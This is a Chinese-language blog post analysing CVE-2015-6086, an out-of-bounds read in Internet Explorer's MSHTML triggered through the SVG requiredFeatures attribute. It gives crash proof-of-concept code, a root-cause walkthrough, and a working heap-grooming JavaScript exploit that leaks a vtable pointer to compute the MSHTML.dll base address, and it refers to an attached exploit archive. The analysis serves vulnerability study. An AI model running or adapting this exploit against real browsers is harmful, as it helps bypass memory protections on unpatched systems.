欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]CVE-2015-6086 简要分析

[原创]CVE-2015-6086 简要分析

自己学习过程中写的记录。。。
前言

    Microsoft Internet Explorer 9 through 11 allows remote attackers to obtain sensitive information from process memory via a crafted web site, aka "Internet Explorer Information Disclosure Vulnerability."
0x01 漏洞成因
测试环境:win7 x64   
IE10 10.0.9200.16521
漏洞crash POC如下

function trigger() {
    var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
    polyLine.setAttributeNS(null, 'requiredFeatures', '\n');
} 

想要crash浏览器需要开启gflags中的页堆,ust和application verifier
其中application verifier中开启heaps。




最明显的是访问了一个没有数据的地址导致了访问异常,此时进行猜测最可能是UAF,或者是数组访问越界之类问题。
查看一下UST

得到的结果可以比较清晰的看到此块堆块没有释放记录,也就是说不是UAF了,进一步观察可看到访问失败的地址在分配的堆块的末尾也就是  10be4ff0+0x10= 10be5000= edi的位置
此崩溃在位置MSHTML!CDOMStringDataList::InitFromString+0x47处。
通过ida查看此函数的反汇编代码。
先放上伪代码

关键部分的反汇编如下

该函数大致作用就是将用户输入的requiredFeatures值转换到该对象的requiredFeatures数组中。如果中间包含空格,空白等字符的话,将该字符串切割为多项存储为数组中的多项。读取到’\0’时终止。而且通过getItem还可以获取到该数组中的数据。
效果如下图所示
<html>
<script>
function trigger() {
    var polyLine = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
    polyLine.setAttributeNS(null, 'requiredFeatures', "adfe 2ade");
    var message = "Number of Items: " + polyLine.requiredFeatures.numberOfItems + "\n";
    for (var i = 0; i < polyLine.requiredFeatures.numberOfItems; i++) {
        message += "Index: " + i + "\nValue: " + polyLine.requiredFeatures.getItem(i) + "\nLength: " + polyLine.requiredFeatures.getItem(i).length + "\n";
    }
    alert(message);
}
</script>
<body onload="trigger();"></body>
</html>


先进行函数前后的空白判断,从非空白字符开始读取,读到空白字符后停止,然后将中间的不包含空白部分存储。
漏洞的关键部分图中圈出了。举个例子分析下。就如poc中保存的requiredFeatures为’\n’则实际保存后需要处理的字符串实际为”\n\0”。进入流程后先通过IsCharSpaceW判断为空白(注意空格,换行为空白,但是‘\0’不是空白)。

此时保存字符串的指针进行自增操作,指向‘\0’。

然后注意,是指针先自增然后再进行的是否为空的判断。为空停止,但是此时自增之后指针已经不是指向’\0’了,而是指向了该字符串的后一个字符,这样便跳过了终止检测。造成了越界读取,信息泄露。

总结说,就是通过IsCharSpace判断是否为空后处理不当导致可以跳过null终止符造成信息泄露。
0x02 内存布局以及漏洞利用
此漏洞可以用来做信息泄露使用,要达到的目的是越界读取后面的数据,利用思路是读取后面紧邻的对象的虚表,然后通过虚表定位到dll的基地址。
作者使用了MsGestureEvent这个对象来作为读取虚表的对象,此对象长度为0xA0,当分配0xA0长度的字符串作为requiredFeatures的时候不会有额外的垃圾数据来补齐长度。
布局思路为
先创建0x1000个MsGestureEvent对象,此对象每一个大小为0xA0。
然后是这些对象中每隔一个对象释放一个对象,管这个叫make hole,大致效果如下图所示

然后分配0xA0大小的requiredFeatures,会正好分配到上面挖好的hole中。这样通过越界读取就可以获取到后续对象的虚表地址了,通过虚表地址与dll基地址的固定偏移就可以获取到dll基地址了。
大致代码如下
            
var eventArray = new Array();
            var polyLineArray = new Array();
            var exploitSuccessful = false;
            for (var i = 0; i < 0x1000; i++) {
                eventArray[i] = document.createEvent('MsGestureEvent');
            }
            for (i = 1; i < 0x500; i += 2) {
                eventArray[i] = null;
            }
            CollectGarbage2();
            for (i = 0; i < 0x250; i++) {
                polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
                polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString('A', 0x0A0));
                polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString('\n', 0x0A0));
                if (polyLineArray[i].requiredFeatures.numberOfItems == 2 && polyLineArray[i].requiredFeatures.getItem(1).length == 4) {
                    var OOBReadMemory = escape(polyLineArray[i].requiredFeatures.getItem(1));
					alert(OOBReadMemory);
                    var spitValue = OOBReadMemory.split('%');
                    var CDOMMSGestureEvent_VFTablePointer = parseInt('0x' + spitValue[3].replace('u', '') + spitValue[2].replace('u', ''));
                    var MSHTMLBaseAddress = CDOMMSGestureEvent_VFTablePointer - offsetOfMSHTMLBaseAddress;
                    var message = 'MSHTML.DLL Base Address: 0x' + MSHTMLBaseAddress.toString(16);
                    message += '\n';
                    message += 'CDOMMSGestureEvent VFTable Pointer: 0x' + CDOMMSGestureEvent_VFTablePointer.toString(16);
                    alert(message);
                    exploitSuccessful = true;
                    break;
                }
            }
            if (!exploitSuccessful) {
                window.location.reload();
            }

因为在有内存保护的情况下释放掉的对象不会被立即释放,而是放到一个list中等待大小达到了阈值才会释放。
所以在以上代码中使用了CollectGarbage来强制立即释放对象。
执行效果如下

具体利用代码在利用脚本的注释里已经写的很清楚了,我就不过多解释了,详情可以看附件中的注释。
ms15-112.zip
参考文章http://www.payatu.com/from-crash-to-exploit/
邮箱:liushenrong@wis-eye.com

上传的附件 0.png
1.png
2.png
3.png
4.png
5.png
6.png
7.png
ms15-112.zip
-2.png
-1.png
beta1.png
beta2.png
beta3.png

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功